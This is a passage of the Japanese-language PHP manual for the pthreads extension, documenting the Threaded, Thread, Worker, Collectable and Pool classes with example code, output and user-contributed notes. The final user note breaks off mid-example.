  • ≪ Threaded::notifyOne
  • Threaded::run ≫
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::pop

(PECL pthreads >= 2.0.0)

Threaded::pop — Manipulation

説明

public Threaded::pop ( ) : bool

Pops an item from the objects property table

返り値

The last item from the objects property table

例

例1 Popping the last item from the property table of a threaded object

<?php
$safe = new Threaded();

while (count($safe) < 10)
    $safe[] = count($safe);

var_dump($safe->pop());
?>

上の例の出力は以下となります。

int(9)

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • ≪ Threaded::pop
  • Threaded::shift ≫
  • PHP Manual
  • Threaded
  • Execution

Threaded::run

(PECL pthreads >= 2.0.0)

Threaded::run — Execution

説明

public Threaded::run ( ) : void

The programmer should always implement the run method for objects that are intended for execution.

パラメータ

この関数にはパラメータはありません。

返り値

The methods return value, if used, will be ignored

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

  • ≪ Threaded::run
  • Threaded::synchronized ≫
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::shift

(PECL pthreads >= 2.0.0)

Threaded::shift — Manipulation

説明

public Threaded::shift ( ) : mixed

Shifts an item from the objects property table

返り値

The first item from the objects property table

例

例1 Shifting the first item from the property table of a threaded object

<?php
$safe = new Threaded();

while (count($safe) < 10)
    $safe[] = count($safe);

var_dump($safe->shift());
?>

上の例の出力は以下となります。

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ≪ Threaded::shift
  • Threaded::unlock ≫
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::synchronized

(PECL pthreads >= 2.0.0)

Threaded::synchronized — Synchronization

説明

public Threaded::synchronized ( Closure $block , mixed ...$args ) : mixed

Executes the block while retaining the referenced objects synchronization lock for the calling context

パラメータ

block

The block of code to execute

args

Variable length list of arguments to use as function arguments to the block

返り値

The return value from the block

例

例1 Synchronizing

<?php
class My extends Thread {
    public function run() {
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
var_dump($my->join());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

john dot wellesz at teaser dot fr 19-Mar-2014 01:22
Threaded::synchronized() allows you to safely set or read synchronization conditions and act upon them (using ::wait() and ::notify()) knowing that only one call to synchronized() on the referenced object can be executed at a particular time, other calls from different thread contexts will block until the path is cleared by a call to ::wait() inside your ::Synchronized() closure.


Synchronization

  • ≪ Threaded::synchronized
  • Threaded::wait ≫
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::unlock

(PECL pthreads < 3.0.0)

Threaded::unlock — Synchronization

警告

This method has been removed in pthreads v3. The Threaded::synchronized() method should now be used.

説明

public Threaded::unlock ( ) : bool

Unlock the referenced objects storage for the calling context

パラメータ

この関数にはパラメータはありません。

返り値

A boolean indication of success

例

例1 Locking the property table of a threaded object

<?php
class My extends Thread {
    public function run() {
        var_dump($this->lock());
        /** nobody can read or write **/
        var_dump($this->unlock());
        /** reading / writing resumed for all other contexts */
    }
}
$my = new My();
$my->start();
?>

上の例の出力は以下となります。

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • ≪ Threaded::unlock
  • Thread ≫
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::wait

(PECL pthreads >= 2.0.0)

Threaded::wait — Synchronization

説明

public Threaded::wait ( int $timeout = ? ) : bool

Will cause the calling context to wait for notification from the referenced object

パラメータ

timeout

An optional timeout in microseconds

返り値

A boolean indication of success

例

例1 Notifications and Waiting

<?php
class My extends Thread {
    public function run() {
        /** cause this thread to wait **/
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
/** send notification to the waiting thread **/
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
var_dump($my->join());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Thread クラス

(PECL pthreads >= 2.0.0)

はじめに

このオブジェクトの start メソッドが呼ばれると、run メソッドのコードが個別のスレッドで並列処理されます。

run メソッドの実行後は Thread はすぐに終了し、作成元のスレッドに適切な時期に join します。

警告

Thread をいつ join させるのかをエンジンに決めさせていると、予期せぬ振る舞いを引き起こすことがあります。 可能な限り、プログラマーが明示的に指定するようにしましょう。

クラス概要

Thread extends Threaded implements Countable , Traversable , ArrayAccess {
/* メソッド */
public detach ( ) : void
public getCreatorId ( ) : int
public static getCurrentThread ( ) : Thread
public static getCurrentThreadId ( ) : int
public getThreadId ( ) : int
public static globally ( ) : mixed
public isJoined ( ) : bool
public isStarted ( ) : bool
public join ( ) : bool
public kill ( ) : void
public start ( int $options = ? ) : bool
/* 継承したメソッド */
public Threaded::chunk ( int $size , bool $preserve ) : array
public Threaded::count ( ) : int
public Threaded::extend ( string $class ) : bool
public Threaded::from ( Closure $run , Closure $construct = ? , array $args = ? ) : Threaded
public Threaded::getTerminationInfo ( ) : array
public Threaded::isRunning ( ) : bool
public Threaded::isTerminated ( ) : bool
public Threaded::isWaiting ( ) : bool
public Threaded::lock ( ) : bool
public Threaded::merge ( mixed $from , bool $overwrite = ? ) : bool
public Threaded::notify ( ) : bool
public Threaded::notifyOne ( ) : bool
public Threaded::pop ( ) : bool
public Threaded::run ( ) : void
public Threaded::shift ( ) : mixed
public Threaded::synchronized ( Closure $block , mixed ...$args ) : mixed
public Threaded::unlock ( ) : bool
public Threaded::wait ( int $timeout = ? ) : bool
}

目次

  • Thread::detach — Execution
  • Thread::getCreatorId — 識別
  • Thread::getCurrentThread — Identification
  • Thread::getCurrentThreadId — Identification
  • Thread::getThreadId — 識別
  • Thread::globally — Execution
  • Thread::isJoined — 状態を検出する
  • Thread::isStarted — 状態を検出する
  • Thread::join — 同期処理
  • Thread::kill — Execution
  • Thread::start — 実行する

User Contributed Notes

german dot bernhardt at gmail dot com 27-Mar-2016 11:11
<?php
# ERROR GLOBAL VARIABLES IMPORT

$tester=true;

function tester(){
 global $tester;
 var_dump($tester);
}

tester(); // PRINT -> bool(true)

class test extends Thread{
 public function run(){
  global $tester;
  tester(); // PRINT -> NULL
 }
}
$workers=new test();
$workers->start();

?>
312036773 at qq dot com 27-Dec-2015 04:38
<?php
class STD extends Thread{
    public function put(){

        $this->synchronized(function(){
            for($i=0;$i<7;$i++){

    printf("%d\n",$i);
    $this->notify();
    if($i < 6)
    $this->wait();
    else
        exit();
    sleep(1);
}
        });

    }

        public function flush(){

$this->synchronized(function(){
            for($i=0;$i<7;$i++){
    flush();
    $this->notify();
    if($i < 6)
    $this->wait();
    else
        exit();
    }
});
}
}

class A extends Thread{
    private $std;
    public function __construct($std){
        $this->std = $std;
    }
    public function run(){
        $this->std->put();
    }
}

class B extends Thread{
    private $std;
    public function __construct($std){
        $this->std = $std;
    }
    public function run(){
        $this->std->flush();
    }
}
ob_end_clean();
echo str_repeat(" ", 1024);
$std = new STD();
$ta = new A($std);
$tb = new B($std);
$ta->start();
$tb->start();
german dot bernhardt at gmail dot com 01-Apr-2014 11:01
<?php

class workerThread extends Thread {
 public function __construct($i){
  $this->i=$i;
 }

 public function run(){
  while(true){
   echo $this->i;
   sleep(1);
  }
 }
}

for($i=0;$i<50;$i++){
 $workers[$i]=new workerThread($i);
 $workers[$i]->start();
}

?>


Execution

  • ≪ Thread
  • Thread::getCreatorId ≫
  • PHP Manual
  • Thread
  • Execution

Thread::detach

(PECL pthreads < 3.0.0)

Thread::detach — Execution

警告

This method has been removed in pthreads v3.

説明

public Thread::detach ( ) : void

Detaches the referenced Thread from the calling context, dangerous!

警告

This method can cause undefined, unsafe behaviour. It should not usually be used, it is present for completeness and advanced use cases.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


識別

  • ≪ Thread::detach
  • Thread::getCurrentThread ≫
  • PHP Manual
  • Thread
  • 識別

Thread::getCreatorId

(PECL pthreads >= 2.0.0)

Thread::getCreatorId — 識別

説明

public Thread::getCreatorId ( ) : int

このスレッドを作ったスレッドの ID を返します。

パラメータ

この関数にはパラメータはありません。

返り値

数値の ID を返します。

例

例1 このスレッドを作ったスレッドあるいはプロセスの ID を返す

<?php
class My extends Thread {
    public function run() {
        printf("%s created by Thread #%lu\n", __CLASS__, $this->getCreatorId());
    }
}
$my = new My();
$my->start();
?>

上の例の出力は以下となります。

My created by Thread #123456778899

User Contributed Notes

There are no user contributed notes for this page.


Identification

  • ≪ Thread::getCreatorId
  • Thread::getCurrentThreadId ≫
  • PHP Manual
  • Thread
  • Identification

Thread::getCurrentThread

(PECL pthreads >= 2.0.0)

Thread::getCurrentThread — Identification

説明

public static Thread::getCurrentThread ( ) : Thread

Return a reference to the currently executing Thread

パラメータ

この関数にはパラメータはありません。

返り値

An object representing the currently executing Thread

例

例1 Return the currently executing Thread

<?php
class My extends Thread {
    public function run() {
        var_dump(Thread::getCurrentThread());
    }
}
$my = new My();
$my->start();
?>

上の例の出力は以下となります。

object(My)#2 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Identification

  • ≪ Thread::getCurrentThread
  • Thread::getThreadId ≫
  • PHP Manual
  • Thread
  • Identification

Thread::getCurrentThreadId

(PECL pthreads >= 2.0.0)

Thread::getCurrentThreadId — Identification

説明

public static Thread::getCurrentThreadId ( ) : int

Will return the identity of the currently executing Thread

パラメータ

この関数にはパラメータはありません。

返り値

A numeric identity

例

例1 Return the identity of the currently executing Thread

<?php
class My extends Thread {
    public function run() {
        printf("%s is Thread #%lu\n", __CLASS__, Thread::getCurrentThreadId());
    }
}
$my = new My();
$my->start();
?>

上の例の出力は以下となります。

My is Thread #123456778899

User Contributed Notes

There are no user contributed notes for this page.


識別

  • ≪ Thread::getCurrentThreadId
  • Thread::globally ≫
  • PHP Manual
  • Thread
  • 識別

Thread::getThreadId

(PECL pthreads >= 2.0.0)

Thread::getThreadId — 識別

説明

public Thread::getThreadId ( ) : int

このスレッドの ID を返します。

パラメータ

この関数にはパラメータはありません。

返り値

数値の ID を返します。

例

例1 このスレッドの ID を返す

<?php
class My extends Thread {
    public function run() {
        printf("%s is Thread #%lu\n", __CLASS__, $this->getThreadId());
    }
}
$my = new My();
$my->start();
?>

上の例の出力は以下となります。

My is Thread #123456778899

User Contributed Notes

derkontrollfreak+php at gmail dot com 12-Jul-2015 11:00
Thread::getThreadId() returns 0 if the thread has not been started.


Execution

  • ≪ Thread::getThreadId
  • Thread::isJoined ≫
  • PHP Manual
  • Thread
  • Execution

Thread::globally

(PECL pthreads < 3.0.0)

Thread::globally — Execution

警告

This method has been removed in pthreads v3.

説明

public static Thread::globally ( ) : mixed

Will execute a Callable in the global scope

パラメータ

この関数にはパラメータはありません。

返り値

The return value of the Callable

例

例1 Execute in the global scope

<?php
class My extends Thread {
    public function run() {
        global $std;

        Thread::globally(function(){
            $std = new stdClass;
        });

        var_dump($std);
    }
}
$my = new My();
$my->start();
?>

上の例の出力は以下となります。

object(stdClass)#3 (0) {
}

User Contributed Notes

SolutionFix 17-Mar-2015 03:27
"This function has no parameters" and "void" in description, but in example unnamed function passed. Looks like parameter not "void", but "callable".


状態を検出する

  • ≪ Thread::globally
  • Thread::isStarted ≫
  • PHP Manual
  • Thread
  • 状態を検出する

Thread::isJoined

(PECL pthreads >= 2.0.0)

Thread::isJoined — 状態を検出する

説明

public Thread::isJoined ( ) : bool

このスレッドが同期されているかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

状態を表す boolean 値を返します。

例

例1 スレッドの状態を検出する

<?php
class My extends Thread {
    public function run() {
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
var_dump($my->isJoined());
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
?>

上の例の出力は以下となります。

bool(false)

User Contributed Notes

There are no user contributed notes for this page.


状態を検出する

  • ≪ Thread::isJoined
  • Thread::join ≫
  • PHP Manual
  • Thread
  • 状態を検出する

Thread::isStarted

(PECL pthreads >= 2.0.0)

Thread::isStarted — 状態を検出する

説明

public Thread::isStarted ( ) : bool

このスレッドが開始したかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

状態を表す boolean 値を返します。

例

例1 スレッドが開始したかどうかを検出する

<?php
$worker = new Worker();
$worker->start();
var_dump($worker->isStarted());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

ricardo dot boss at web dot de 30-Jul-2016 11:20
Even if you kill() a thread, the isStarted() method will still return true.


同期処理

  • ≪ Thread::isStarted
  • Thread::kill ≫
  • PHP Manual
  • Thread
  • 同期処理

Thread::join

(PECL pthreads >= 2.0.0)

Thread::join — 同期処理

説明

public Thread::join ( ) : bool

呼び出し元のコンテキストが、このスレッドの実行終了を待つようにします。

パラメータ

この関数にはパラメータはありません。

返り値

成功したかどうかを表す boolean 値を返します。

例

例1 スレッドとのジョイン

<?php
class My extends Thread {
    public function run() {
        /* ... */
    }
}
$my = new My();
$my->start();
/* ... */
var_dump($my->join());
/* ... */
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • ≪ Thread::join
  • Thread::start ≫
  • PHP Manual
  • Thread
  • Execution

Thread::kill

(PECL pthreads < 3.0.0)

Thread::kill — Execution

警告

This method has been removed in pthreads v3.

説明

public Thread::kill ( ) : void

Forces the referenced Thread to terminate

警告

The programmer should not ordinarily kill Threads by force

パラメータ

この関数にはパラメータはありません。

返り値

A boolean indication of success

例

例1 Kill the referenced Thread

<?php
class T extends Thread {
    public function run() {
        $stdin = fopen("php://stdin", "r");
        while(($line = fgets($stdin))) {
            echo $line;
        }
    }
}

$t = new T();
$t->start();

var_dump($t->kill());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

Matus Gubas 19-Aug-2016 12:38
This has been removed in pthreads 3 (= php 7)


実行する

  • ≪ Thread::kill
  • Worker ≫
  • PHP Manual
  • Thread
  • 実行する

Thread::start

(PECL pthreads >= 2.0.0)

Thread::start — 実行する

説明

public Thread::start ( int $options = ? ) : bool

新しいスレッドを開始し、実装されている run メソッドを実行します。

パラメータ

options

オプションのマスク。継承に関する定数で、デフォルトは PTHREADS_INHERIT_ALL。

返り値

成功したかどうかを表す boolean 値を返します。

例

例1 スレッドの開始

<?php
class My extends Thread {
    public function run() {
        /** ... **/
    }
}
$my = new My();
var_dump($my->start());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Worker クラス

(PECL pthreads >= 2.0.0)

はじめに

ワーカースレッドには永続コンテキストがあり、たいていの場合はスレッドに対して使えます。

ワーカーを開始させると run メソッドを実行しますが、以下のいずれかの条件を満たすまでスレッドは終了しません。

  • Worker がスコープから外れる (どこからも参照されなくなる)

  • プログラマーが shutdown を呼ぶ

  • スクリプトが終了する

つまり、プログラマーは実行中のコンテキストを再利用できるということです。 オブジェクトを Worker のスタックに置くと、そのオブジェクトの run メソッドを Worker が実行します。

クラス概要

Worker extends Thread implements Traversable , Countable , ArrayAccess {
/* メソッド */
public collect ( Callable $collector = ? ) : int
public getStacked ( ) : int
public isShutdown ( ) : bool
public isWorking ( ) : bool
public shutdown ( ) : bool
public stack ( Threaded &$work ) : int
public unstack ( ) : int
/* 継承したメソッド */
public Thread::detach ( ) : void
public Thread::getCreatorId ( ) : int
public static Thread::getCurrentThread ( ) : Thread
public static Thread::getCurrentThreadId ( ) : int
public Thread::getThreadId ( ) : int
public static Thread::globally ( ) : mixed
public Thread::isJoined ( ) : bool
public Thread::isStarted ( ) : bool
public Thread::join ( ) : bool
public Thread::kill ( ) : void
public Thread::start ( int $options = ? ) : bool
}

目次

  • Worker::collect — Collect references to completed tasks
  • Worker::getStacked — Gets the remaining stack size
  • Worker::isShutdown — State Detection
  • Worker::isWorking — 状態を検出する
  • Worker::shutdown — Shutdown the worker
  • Worker::stack — Stacking work
  • Worker::unstack — Unstacking work

User Contributed Notes

event2game at gmail dot com 31-Oct-2013 03:22
There's one way to shared datas between Workers, that is using Stackable:
<?php
class data extends Stackable{
    //private $name;
    public function __construct($_name) {
        //$this->name = $_name;//if you set any variable, workers will get the variable, so do not set any variable
        echo __FILE__.'-'.__LINE__.'<br/>'.chr(10);
    }
    public function run(){
        echo __FILE__.'-'.__LINE__.'<br/>'.chr(10);
    }
}
class readWorker extends Worker {
    public function __construct(&$_data) {
        $this->data = $_data;//
    }
    public function run(){
        while(1){
            if($arr=$this->data->shift())//receiving datas
            {
                echo 'Received data:'.print_r($arr,1).chr(10);
            }else usleep(50000);
        }
    }
}
class writeWorker extends Worker {
    public function __construct(&$_data) {
        $this->data = $_data;//
    }
    public function run(){
        while(1){
            $this->data[] = array(time(),rand());//writting datas
            usleep(rand(50000, 1000000));
        }
    }

}
$data = new data('');
$reader = new readWorker($data);
$writer = new writeWorker($data);
$reader->start();
$writer->start();
?>
Also you can use $readWorker[] = $some_data; then use $this->shift() in readWorker to share datas with readWorker, but if you do so you can't have variables in readWorker as all variales will be shift by shift();


Collect references to completed tasks

  • ≪ Worker
  • Worker::getStacked ≫
  • PHP Manual
  • Worker
  • Collect references to completed tasks

Worker::collect

(PECL pthreads >= 3.0.0)

Worker::collect — Collect references to completed tasks

説明

public Worker::collect ( Callable $collector = ? ) : int

Allows the worker to collect references determined to be garbage by the optionally given collector.

パラメータ

collector

A Callable collector that returns a boolean on whether the task can be collected or not. Only in rare cases should a custom collector need to be used.

返り値

The number of remaining tasks on the worker's stack to be collected.

例

例1 A basic example of Worker::collect()

<?php
$worker = new Worker();

echo "There are currently {$worker->collect()} tasks on the stack to be collected\n";

for ($i = 0; $i < 15; ++$i) {
    $worker->stack(new class extends Threaded {});
}

echo "There are {$worker->collect()} tasks remaining on the stack to be collected\n";

$worker->start();

while ($worker->collect()); // blocks until all tasks have finished executing

echo "There are now {$worker->collect()} tasks on the stack to be collected\n";

$worker->shutdown();

上の例の出力は以下となります。

There are currently 0 tasks on the stack to be collected
There are 15 tasks remaining on the stack to be collected
There are now 0 tasks on the stack to be collected

User Contributed Notes

There are no user contributed notes for this page.


Gets the remaining stack size

  • ≪ Worker::collect
  • Worker::isShutdown ≫
  • PHP Manual
  • Worker
  • Gets the remaining stack size

Worker::getStacked

(PECL pthreads >= 2.0.0)

Worker::getStacked — Gets the remaining stack size

説明

public Worker::getStacked ( ) : int

Returns the number of tasks left on the stack

パラメータ

この関数にはパラメータはありません。

返り値

Returns the number of tasks currently waiting to be executed by the worker

例

例1 A basic example of Worker::getStacked

<?php
$worker = new Worker();

for ($i = 0; $i < 5; ++$i) {
    $worker->stack(new class extends Threaded {});
}

echo "There are {$worker->getStacked()} stacked tasks\n";

上の例の出力は以下となります。

There are 5 stacked tasks

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • ≪ Worker::getStacked
  • Worker::isWorking ≫
  • PHP Manual
  • Worker
  • State Detection

Worker::isShutdown

(PECL pthreads >= 2.0.0)

Worker::isShutdown — State Detection

説明

public Worker::isShutdown ( ) : bool

Whether the worker has been shutdown or not.

パラメータ

この関数にはパラメータはありません。

返り値

Returns whether the worker has been shutdown or not.

例

例1 Detect the state of a worker

<?php
$worker = new Worker();
$worker->start();

var_dump($worker->isShutdown());

$worker->shutdown();

var_dump($worker->isShutdown());

上の例の出力は以下となります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


状態を検出する

  • ≪ Worker::isShutdown
  • Worker::shutdown ≫
  • PHP Manual
  • Worker
  • 状態を検出する

Worker::isWorking

(PECL pthreads >= 2.0.0)

Worker::isWorking — 状態を検出する

警告

このメソッドは、pthreads v3 で削除されました。 ワーカーが実行すべきタスクをまだ持っているかを調べるには、 Worker::getStacked() メソッドを使うべきです。

説明

public Worker::isWorking ( ) : bool

ワーカーが Stackable を実行中かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

状態を表す boolean 値を返します。

例

例1 ワーカーの状態を検出する

<?php
$my = new Worker();
$my->start();
/* ... */
if ($my->isWorking()) {
    /* ... ワーカーは、他のオブジェクトを実行するのに忙しい状態 */
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Shutdown the worker

  • ≪ Worker::isWorking
  • Worker::stack ≫
  • PHP Manual
  • Worker
  • Shutdown the worker

Worker::shutdown

(PECL pthreads >= 2.0.0)

Worker::shutdown — Shutdown the worker

説明

public Worker::shutdown ( ) : bool

Shuts down the worker after executing all of the stacked tasks.

パラメータ

この関数にはパラメータはありません。

返り値

Whether the worker was successfully shutdown or not.

例

例1 Shutdown the referenced worker

<?php
$my = new Worker();
$my->start();
/* stack/execute tasks */
var_dump($my->shutdown());

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Stacking work

  • ≪ Worker::shutdown
  • Worker::unstack ≫
  • PHP Manual
  • Worker
  • Stacking work

Worker::stack

(PECL pthreads >= 2.0.0)

Worker::stack — Stacking work

説明

public Worker::stack ( Threaded &$work ) : int

Appends the new work to the stack of the referenced worker.

パラメータ

work

A Threaded object to be executed by the worker.

返り値

The new size of the stack.

例

例1 Stacking a task for execution onto a worker

<?php
$worker = new Worker();
$work = new class extends Threaded {};

var_dump($worker->stack($work));

上の例の出力は以下となります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Unstacking work

  • ≪ Worker::stack
  • Collectable ≫
  • PHP Manual
  • Worker
  • Unstacking work

Worker::unstack

(PECL pthreads >= 2.0.0)

Worker::unstack — Unstacking work

説明

public Worker::unstack ( ) : int

Removes the first task (the oldest one) in the stack.

パラメータ

この関数にはパラメータはありません。

返り値

The new size of the stack.

変更履歴

バージョン | 説明
v3 | The parameter to specify the task to unstack has been removed. Now, only the first task in the stack is removed.

例

例1 Removing objects from the stack of Workers

<?php
$my = new Worker();
$work = new class extends Threaded {};

var_dump($my->stack($work));
var_dump($my->unstack());

上の例の出力は以下となります。

int(1)
int(0)

User Contributed Notes

There are no user contributed notes for this page.


The Collectable interface

(PECL pthreads >= 2.0.8)

はじめに

警告

Collectable was previously a class (in pthreads v2 and below). Now, it is an interface in pthreads v3 that is implemented by the Threaded class.

Represents a garbage-collectable object.

インターフェイス概要

Collectable {
/* メソッド */
public isGarbage ( ) : bool
public setGarbage ( ) : void
}

目次

  • Collectable::isGarbage — Determine whether an object has been marked as garbage
  • Collectable::setGarbage — Mark an object as garbage

User Contributed Notes

There are no user contributed notes for this page.


Determine whether an object has been marked as garbage

  • ≪ Collectable
  • Collectable::setGarbage ≫
  • PHP Manual
  • Collectable
  • Determine whether an object has been marked as garbage

Collectable::isGarbage

(PECL pthreads >= 2.0.8)

Collectable::isGarbage — Determine whether an object has been marked as garbage

説明

public Collectable::isGarbage ( ) : bool

Can be called in Pool::collect() to determine if this object is garbage.

参考

  • Pool::collect() - Collect references to completed tasks

User Contributed Notes

There are no user contributed notes for this page.


Mark an object as garbage

  • ≪ Collectable::isGarbage
  • Modifiers ≫
  • PHP Manual
  • Collectable
  • Mark an object as garbage

Collectable::setGarbage

(PECL pthreads < 3.0.0)

Collectable::setGarbage — Mark an object as garbage

警告

This method has been removed in pthreads v3.

説明

public Collectable::setGarbage ( ) : void

Should be called once per object when the object is finished being executed or referenced.

参考

  • Collectable::isGarbage() - Determine whether an object has been marked as garbage

User Contributed Notes

There are no user contributed notes for this page.


Method Modifiers

警告

These semantics are only applicable to pthreads v2 - they have been removed in pthreads v3.

pthreads overrides the functionality of the protected and private method modifiers in order to provide functionality more suited to multi-threaded objects. pthreads applies this functionality to all Threaded objects from creation.

例1 protected method example: protected methods can only be executed by one Thread at a time.

<?php
class ExampleThread extends Thread {
    public function run() {
        /* thread code */
        if ($this->synchronized()) {

        }
    }

    protected function exclusive() {
        /* synchronized method */
    }
}

$thread = new ExampleThread();
if ($thread->start()) {
    $thread->exclusive();
}
?>

例2 private method example: private methods may only be executed by the Threaded object during execution

<?php
class ExampleThread extends Thread {
    public function run() {
        /* thread code */
        if ($this->insideonly()) {

        }
    }

    private function insideonly() {
        /* private method */
    }
}

$thread = new ExampleThread();
if ($thread->start()) {
    $thread->insideonly();
}
?>

User Contributed Notes

There are no user contributed notes for this page.


The Pool class

(PECL pthreads >= 2.0.0)

はじめに

A Pool is a container for, and controller of, an adjustable number of Workers.

Pooling provides a higher level abstraction of the Worker functionality, including the management of references in the way required by pthreads.

クラス概要

Pool {
/* プロパティ */
protected $size ;
protected $class ;
protected $workers ;
protected $ctor ;
protected $last ;
/* メソッド */
public collect ( Callable $collector = ? ) : int
public __construct ( int $size , string $class = ? , array $ctor = ? ) : Pool
public resize ( int $size ) : void
public shutdown ( ) : void
public submit ( Threaded $task ) : int
public submitTo ( int $worker , Threaded $task ) : int
}

プロパティ

size

maximum number of Workers this Pool can use

class

the class of the Worker

workers

references to Workers

ctor

the arguments for constructor of new Workers

last

offset in workers of the last Worker used

目次

  • Pool::collect — Collect references to completed tasks
  • Pool::__construct — Creates a new Pool of Workers
  • Pool::resize — Resize the Pool
  • Pool::shutdown — Shutdown all workers
  • Pool::submit — Submits an object for execution
  • Pool::submitTo — Submits a task to a specific worker for execution

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 05:43
In this example, it shows how to use a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done, collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
meadowsjared at gmail dot com 14-Mar-2016 07:16
Please note, when using the collect function, it's important that you extend the pool class so you can keep checking for finished threads until they're all done.

<?php
class TestWork extends Threaded {
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData){
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run(){
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isGarbage() {
        return $this->complete;
    }
}
class ExamplePool extends Pool
{
    public $data = array();
    public function process()
    {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->work)) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isGarbage()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isGarbage();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
olavk 30-Mar-2015 01:48
Simple example with Collectable (basically Thread meant for Pool) and Pool

<?php

class job extends Collectable {
  public $val;

  public function __construct($val){
    // init some properties
    $this->val = $val;
  }
  public function run(){
    // do some work
    $this->val = $this->val . file_get_contents('http://www.example.com/', null, null, 3, 20);
    $this->setGarbage();
  }
}

// At most 3 threads will work at once
$p = new Pool(3);

$tasks = array(
  new job('0'),
  new job('1'),
  new job('2'),
  new job('3'),
  new job('4'),
  new job('5'),
  new job('6'),
  new job('7'),
  new job('8'),
  new job('9'),
  new job('10'),
);
// Add tasks to pool queue
foreach ($tasks as $task) {
  $p->submit($task);
}

// shutdown will wait for current queue to be completed
$p->shutdown();
// garbage collection check / read results
$p->collect(function($checkingTask){
  echo $checkingTask->val;
  return $checkingTask->isGarbage();
});

?>
fajan 28-May-2014 01:18
Example class to demonstrate usage of Pool/Worker mechanism, also to show a few tricks & hints ;)
<?php
class Config extends Threaded{    // shared global object
    protected $val=0, $val2=0;
    protected function inc(){++$this->val;}    // protected synchronizes by-object
    public function inc2(){++$this->val2;}    // no synchronization
}
class WorkerClass extends Worker{
    protected static $worker_id_next = -1;
    protected $worker_id;
    protected $config;
    public function __construct($config){
        $this->worker_id = ++static::$worker_id_next;    // static members are not avalable in thread but are in 'main thread'
        $this->config = $config;
    }
    public function run(){
        global $config;
        $config = $this->config;    // NOTE: setting by reference WON'T work
        global $worker_id;
        $worker_id = $this->worker_id;
        echo "working context {$worker_id} is created!\n";
        //$this->say_config();    // globally synchronized function.
    }
    protected function say_config(){    // 'protected' is synchronized by-object so WON'T work between multiple instances
        global $config;        // you can use the shared $config object as synchronization source.
        $config->synchronized(function() use (&$config){    // NOTE: you can use Closures here, but if you attach a Closure to a Threaded object it will be destroyed as can't be serialized
